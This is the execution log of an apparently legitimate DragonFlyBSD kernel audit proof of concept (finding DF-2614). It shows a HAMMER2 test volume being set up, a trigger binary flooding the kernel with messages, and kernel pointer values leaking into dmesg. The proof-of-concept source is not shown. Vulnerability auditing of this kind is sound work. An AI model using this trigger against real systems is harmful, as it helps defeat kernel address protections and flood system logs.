DragonFlyBSD Kernel Audit
DF-2614 / run.log
← back to finding ↓ download raw
+ D=/root/poc/df2614
+ mkdir -p /root/poc/df2614
+ vnconfig -u vn0
+ dd 'if=/dev/zero' 'of=/root/poc/df2614/img' 'bs=1m' 'count=128'
+ vnconfig -c vn0 /root/poc/df2614/img
+ newfs_hammer2 -L testvol /dev/vn0
+ mkdir -p /mnt/h2poc
+ cc -O -I/usr/src/sys -o /root/poc/df2614/df2614_trigger /root/poc/df2614/df2614_trigger.c
+ dmesg
+ /root/poc/df2614/df2614_trigger 1000
+ echo 'TRIGGER_RC=0'
TRIGGER_RC=0
+ sleep 1
+ dmesg
=== baseline counts (before) ===
+ echo '=== baseline counts (before) ==='
+ grep -c 'volconf update' /root/poc/df2614/dmesg.before
BEFORE_volconf=0
+ B_VC=0
+ echo 'BEFORE_volconf=0'
+ grep -c RCVMSG /root/poc/df2614/dmesg.before
BEFORE_rcvmsg=0
=== new lines ===
+ B_RX=0
+ echo 'BEFORE_rcvmsg=0'
+ echo '=== new lines ==='
+ grep -c 'volconf update' /root/poc/df2614/dmesg.after
AFTER_volconf=2
+ A_VC=2
+ echo 'AFTER_volconf=2'
+ grep -c RCVMSG /root/poc/df2614/dmesg.after
+ A_RX=1000
+ echo 'AFTER_rcvmsg=1000'
AFTER_rcvmsg=1000
DELTA_volconf=2
DELTA_rcvmsg=1000
--- volconf lines (the leaked pointer values) ---
+ echo 'DELTA_volconf=2'
+ echo 'DELTA_rcvmsg=1000'
+ echo '--- volconf lines (the leaked pointer values) ---'
+ tail -8
+ grep 'volconf update' /root/poc/df2614/dmesg.after
volconf update 0xfffff801177797c0
volconf update 0xfffff801177797c0
--- TRANSMIT lines ---
+ echo '--- TRANSMIT lines ---'
+ grep -c 'TRANSMIT VOLCONF' /root/poc/df2614/dmesg.after
2
--- RCVMSG sample ---
+ echo '--- RCVMSG sample ---'
+ grep RCVMSG /root/poc/df2614/dmesg.after
+ head -3
RCVMSG 00000001
RCVMSG 00000001
RCVMSG 00000001
--- trigger stdout ---
+ echo '--- trigger stdout ---'
+ cat /root/poc/df2614/trigger.out
REMOTE_ADD_OK copyid=1
FLOOD_START=1000
FLOOD_SENT=1000 in 0.002 s => kernel consumed+printed 662568 msg/s
UNMOUNT_OK
TRIGGER_DONE
+ vnconfig -u vn0
RUN_DF2614_DONE
+ echo RUN_DF2614_DONE